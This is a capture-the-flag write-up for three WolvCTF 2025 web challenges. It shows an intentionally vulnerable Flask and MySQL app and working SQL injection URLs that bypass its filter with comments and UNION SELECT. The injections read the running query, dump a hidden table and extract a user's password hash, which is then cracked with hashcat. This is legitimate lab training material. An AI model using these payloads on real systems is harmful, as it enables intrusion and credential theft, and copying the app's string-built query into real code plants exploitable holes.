WolvCTF 2025

Some cool sqlis

The limited series consisted of 3 web challenges using the same source, with 3 flags to find.

We had access to the source code, which allowed us to easily identify an sql injection in the /query route.

 1from flask import Flask, request, jsonify, render_template
 2from flask_limiter import Limiter
 3from flask_limiter.util import get_remote_address
 4from flask_mysqldb import MySQL
 5
 6import os
 7import re
 8import socket
 9
10FLAG1 = 'wctf{redacted-flag}'
11
12PORT = 8000
13
14app = Flask(__name__)
15limiter = Limiter(
16    app=app,
17    key_func=get_remote_address,
18    default_limits=["5 per second"],
19    storage_uri="memory://",
20)
21
22
23def get_db_hostname():
24    db_hostname = 'db'
25    try:
26        socket.getaddrinfo(db_hostname, 3306)
27        return db_hostname
28    except:
29        return '127.0.0.1'
30
31
32app.config['MYSQL_HOST'] = get_db_hostname()
33app.config['MYSQL_USER'] = os.environ["MYSQL_USER"]
34app.config['MYSQL_PASSWORD'] = os.environ["MYSQL_PASSWORD"]
35app.config['MYSQL_DB'] = os.environ["MYSQL_DB"]
36
37print('app.config:', app.config)
38
39mysql = MySQL(app)
40
41@app.route('/')
42def root():
43    return render_template("index.html")
44
45
46@app.route('/query')
47def query():
48    try:
49        price = float(request.args.get('price') or '0.00')
50    except:
51        price = 0.0
52
53    price_op = str(request.args.get('price_op') or '>')
54    if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
55        return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400
56
57    if len(price_op) > 4:
58        return 'price_op too long', 400
59
60    limit = str(request.args.get('limit') or '1')
61
62    query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
63    print('query:', query)
64
65    if ';' in query:
66        return 'Sorry, multiple statements are not allowed', 400
67
68    try:
69        cur = mysql.connection.cursor()
70        cur.execute(query)
71        records = cur.fetchall()
72        column_names = [desc[0] for desc in cur.description]
73        cur.close()
74    except Exception as e:
75        return str(e), 400
76
77    result = [dict(zip(column_names, row)) for row in records]
78    return jsonify(result)
79
80@app.route("/<path:path>")
81def missing_handler(path):
82    return 'page not found!', 404
83
84if __name__ == "__main__":
85    app.run(host='0.0.0.0', port=PORT, threaded=True, debug=False)

We have an sql query that takes three user inputs:

1query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
  • price_op
  • price
  • limit

The only complication being the restrictions on the price_op and price inputs.

  • Price must be a float, so we can’t use that for an injection
  • Price_op must start with one of the following characters =, <, <=, <>,>=, >, and must be maximum 4 characters

We couldn’t even injection a union select after the limit as you cannot union after an order by in sql.

This comment, left by the creator, sent me down a rabbit hole for a few hours, but turned out to be a dead end.

1    # I'm pretty sure the LIMIT clause cannot be used for an injection
2    # with MySQL 9.x
3    #
4    # This attack works in v5.5 but not later versions
5    # https://lightless.me/archives/111.html

After seeing this comment /* {FLAG1} */ that was left in the query, I realised i could just comment out all of this {price} ORDER BY 1 LIMIT, and then inject my union select at the end, like so:

/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,4 -- -

With our sql query looking like this:

SELECT /*wctf{redacted-flag}*/category, name, price, description FROM Menu WHERE price <5/* 5.0 ORDER BY 1 LIMIT */ union select 1,2,3,4 -- -

The easy part came next.

Limited 1: Retrieve the comment in the query.

In mysql, INFORMATION_SCHEMA.PROCESSLIST is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. (thanks payloadallthethings)

That gives us an injection like so

/query?price=5.00&price_op=<5/*&limit=*/ UNION SELECT null,null,info,null FROM INFORMATION_SCHEMA.PROCESSLIST -- -

Flag: wctf{bu7_my5ql_h45_n0_curr3n7_qu3ry_func710n_l1k3_p0576r35_d035_25785458}

Limited 2: Can you read the flag in another table?

/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,concat(0x28,value,0x3a) FROM Flag_843423739 -- -

Flag: wctf{r34d1n6_07h3r_74bl35_15_fun_96427235634}

Limited 3: Find the password for the flag user

In mysql, we can simply dump the hash of a user, and then crack it with hashcat and a good wordlist.

In this case, the creator told us that the password was 13 characters long, and in the rockyou list.

Let’s create a new, shortened rockyou list:

1LC_ALL=C awk 'length == 13' rockyou.txt > rockyoushort.txt

Then, following this guide, we can dump the hash and crack it.

Which give us maricrissarah, so the flag is wctf{maricrissarah}